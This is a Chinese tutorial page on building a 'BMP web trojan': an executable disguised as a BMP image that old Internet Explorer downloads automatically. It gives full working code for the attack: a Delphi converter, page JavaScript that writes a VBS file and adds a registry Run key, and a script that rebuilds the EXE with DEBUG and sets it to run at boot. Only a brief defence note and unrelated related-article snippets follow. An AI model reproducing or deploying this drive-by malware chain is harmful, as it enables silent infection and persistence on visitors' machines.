利用图片做木马应用完全解析

何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.

然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVAscript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.

看上去好象很复杂,下面我们一步一步来:

1) EXE变BMP的方法.

大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:

program exe2bmp;

uses

Windows,

SysUtils;

var len,row,col,fs: DWORD;

buffer: array[0..255]of char;

fd: WIN32_FIND_DATA;

h,hw: THandle;

begin

if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出

if FileExists(ParamStr(1)) then begin

FindFirstFile(Pchar(ParamStr(1)),fd);

fs:=fd.nFileSizeLow;

col := 4;

while true do begin

if (fs mod 12)=0 then begin

len:=fs;

end else len:=fs+12-(fs mod 12);

row := len div col div 3;

if row>col then begin

col:=col+4;

end else Break;

end;

FillChar(buffer,256,0);

{一下为BMP文件头数据}

Buffer[0]:='B';Buffer[1]:='M';

PDWORD(@buffer[18])^:=col;

PDWORD(@buffer[22])^:=row;

PDWORD(@buffer[34])^:=len;

PDWORD(@buffer[2])^:=len+54;

PDWORD(@buffer[10])^:=54;

PDWORD(@buffer[14])^:=40;

PWORD(@buffer[26])^:=1;

PWORD(@buffer[28])^:=24;

{写入文件}

hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);

h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);

WriteFile(hw,buffer,54,col,0);

repeat

ReadFile(h,buffer,256,col,0);

WriteFile(hw,buffer,col,col,0);

untilcol<>256;

WriteFile(hw,buffer,len-fs,col,0);

CloseHandle(h);

CloseHandle(hw);

end;

end;

end.

以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入

exe2bmp myexe.exe mybmp.bmp

回车就可以把第二个参数所指定的EXE文件转换成BMP格式.

接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式

以下是放在网页上的脚本

document.write(' ');

function docsave()

{

a=document.applets[0];

a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');

a.createInstance();

wsh=a.GetObject();

a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');

a.createInstance();

fso=a.GetObject();

var winsys=fso.GetSpecialFolder(1);

var vbs=winsys+'s.vbs';

wsh.RegWrite

('HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs','wscript '+'"'+vbs+'" ');

var st=fso.CreateTextFile(vbs,true);

st.WriteLine('Option Explicit');

st.WriteLine('Dim FSO,WSH,CACHE,str');

st.WriteLine('Set FSO = CreateObject("scripting.FileSystemObject")');

st.WriteLine('Set WSH = CreateObject("Wscript.Shell")');

st.WriteLine('CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")');

st.WriteLine('wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")');

st.WriteLine ('wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRun mp","tmp.exe"');

st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');

st.WriteLine('Wscript.Quit()');

st.WriteLine('Function SearchBMPFile(Folder,fname)');

st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');

st.WriteLine(' str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname');

st.WriteLine(' if FSO.FileExists(str) then');

st.WriteLine(' tmp=fso.GetSpecialFolder(2) & ""');

st.WriteLine(' winsys=fso.GetSpecialFolder(1) & ""');

st.WriteLine(' set File=FSO.GetFile(str)');

st.WriteLine(' File.Copy(tmp & "tmp.dat")');

st.WriteLine(' File.Delete');

st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');

st.WriteLine(' Lt.WriteLine("rbx")');

st.WriteLine(' Lt.WriteLine("0")');

st.WriteLine(' Lt.WriteLine("rcx")');

st.WriteLine(' Lt.WriteLine("1000")');

st.WriteLine(' Lt.WriteLine("w136")');

st.WriteLine(' Lt.WriteLine("q")');

st.WriteLine(' Lt.Close');

st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');

st.WriteLine(' On Error Resume Next ');

st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")');

st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete');

st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete');

st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete');

st.WriteLine(' end if');

st.WriteLine(' If Folder.SubFolders.Count <> 0 Then');

st.WriteLine(' For Each SubFolder In Folder.SubFolders');

st.WriteLine(' SearchBMPFile SubFolder,fname');

st.WriteLine(' Next');

st.WriteLine(' End If');

st.WriteLine('End Function');

st.Close();

}

setTimeout('docsave()',1000);

把该脚本保存为"js.js",在网页中插入:

<script src="js.js"></script>

该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。

“S.VBS”文件主要内容如下:

Option Explicit

Dim FSO,WSH,CACHE,str

Set FSO = CreateObject("scripting.FileSystemObject")

Set WSH = CreateObject("Wscript.Shell")

CACHE=wsh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache")

wsh.RegDelete("HKCUSoftwareMicrosoftWindowsCurrentVersionRunvbs")

wsh.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRuntmp","tmp.exe"

SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"

Wscript.Quit()

Function SearchBMPFile(Folder,fname)

Dim SubFolder,File,Lt,tmp,winsys

'从临时文件夹中查找目标BMP图片

str=FSO.GetParentFolderName(folder) & "" & folder.name & "" & fname

if FSO.FileExists(str) then

tmp=fso.GetSpecialFolder(2) & ""

winsys=fso.GetSpecialFolder(1) & ""

set File=FSO.GetFile(str)

File.Copy(tmp & "tmp.dat")

File.Delete

'生成一个DEBUG脚本

set Lt=FSO.CreateTextFile(tmp & "tmp.in")

Lt.WriteLine("rbx")

Lt.WriteLine("0")

Lt.WriteLine("rcx")

'下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)

Lt.WriteLine("1000")

Lt.WriteLine("w136")

Lt.WriteLine("q")

Lt.Close

WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6

On Error Resume Next

FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")

FSO.GetFile(tmp & "tmp.dat").Delete

FSO.GetFile(tmp & "tmp.in").Delete

FSO.GetFile(tmp & "tmp.out").Delete

end if

If Folder.SubFolders.Count <> 0 Then

For Each SubFolder In Folder.SubFolders

SearchBMPFile SubFolder,fname

Next

End If

End Function

这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.

详细脚本代码请参考http://hotsky.363.net

防范方法:

最简单,删除或改名wscrpit.exe文件和DEBUG 文件;

安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.

在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站.

<script type=text/javascript></script> <script src="http://pagead2.googlesyndication.com

/pagead/show_ads.js" type=text/javascript> </script>

(0)

相关推荐

  • 利用图片做木马应用完全解析

    何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行. 然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVAscript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中

  • java 与testng利用XML做数据源的数据驱动示例详解

    java 与testng利用XML做数据源的数据驱动示例详解 testng的功能很强大,利用@DataProvider可以做数据驱动,数据源文件可以是EXCEL,XML,YAML,甚至可以是TXT文本.在这以XML为例: 备注:@DataProvider的返回值类型只能是Object[][]与Iterator<Object>[] TestData.xml: <?xml version="1.0" encoding="UTF-8"?> <

  • 利用JS做网页特效_大图轮播(实例讲解)

    废话不多说,直接上代码: <style> * { margin: 0px; padding: 0px; } .stage { width: 500px; height: 300px; border: 5px solid black; margin: 200px; position: relative; overflow: hidden; } .to-left, .to-right { position: absolute; top: 0px; width: 50px; height: 300p

  • Python利用matplotlib做图中图及次坐标轴的实例

    图中图 准备数据 import matplotlib.pyplot as plt fig = plt.figure() x = [1, 2, 3, 4, 5, 6, 7] y = [1, 3, 4, 2, 5, 8, 6] - 大图 首先确定大图左下角的位置以及宽高: 注意,4个值都是占整个figure坐标系的百分比.在这里,假设figure的大小是10x10,那么大图就被包含在由(1, 1)开始,宽8,高8的坐标系内. # below are all percentage left, bott

  • laravel利用中间件做防非法登录和权限控制示例

    laravel框架的中间件非常好用,使得我们的防非法和rbac可以简单快速的实现 中间件就是控制路由的访问,进行分类并统一管理 1.首先我们打开artisan输入下面的命令行,创建一个中间件文件 php artisan make:middleware AdminLogin 执行命令后我们会发现Middleware文件夹会多出一个AdminLogin文件 2.然后我们打开kernel.php,将这个中间件加入到路由中间件中 protected $routeMiddleware = [ 'auth'

  • windows环境中利用celery实现简单任务队列过程解析

    这篇文章主要介绍了windows环境中利用celery实现简单任务队列过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 一.背景 最近因项目需要,学习任务队列Celery的用法; 二.测试使用环境: 1.Windows7 x64 2.Python == 3.7.5 3.celery == 4.3.0 4.redis =3.3.11 5.eventlet==0.25.1 ==> pip install eventlet (windows环境

  • pytorch 利用lstm做mnist手写数字识别分类的实例

    代码如下,U我认为对于新手来说最重要的是学会rnn读取数据的格式. # -*- coding: utf-8 -*- """ Created on Tue Oct 9 08:53:25 2018 @author: www """ import sys sys.path.append('..') import torch import datetime from torch.autograd import Variable from torch im

  • 在vue中使用Echarts利用watch做动态数据渲染操作

    依旧直接上代码- 首先安装引入Echarts,我是直接把Echarts挂到VUE全局变量上了 //引入echarts import Vue from 'vue'; import echarts from 'echarts'; Vue.prototype.$echarts = echarts; <template> <div class="demo-container"> <div ref="chart_wrap" class="

  • 利用python做表格数据处理

    技术背景 数据处理是一个当下非常热门的研究方向,通过对于大型实际场景中的数据进行建模,可以用于预测下一阶段可能出现的情况.比如我们有过去的2002年-2018年的黄金价格的数据: 该数据来源于Gitee上的一个开源项目.其中包含有:时间.开盘价.收盘价.最高价.最低价.交易数以及成交额这么几个参数.假如我们使用一个机器学习的模型去分析这个数据,也许我们可以预测在这个数据中并不存在的金价数据.如果预测的契合度较好,那么对于一些人的投资策略来说有重大意义.但是这种实际场景下的数据,往往数据量是非常大

  • 如何利用javascript做简单的算法

    目录 1 问题 2 方法 3 实验结果与讨论 1 问题 众所周知,无论是Pycharm或是IDLE.java都可以计算简单的算法,比如加减乘除.然而在Hbuilder中,javascript也可以用来计算数值的加减乘除. 比如,我们计算:假设 y=5,计算 x=y+2,并显示结果. 2 方法 首先利用<p></p>标签写算法题题目.然后利用<button></button>标签创造一个事件,其中标签里面onclick后面的命名一定要加().再然后写一个<

随机推荐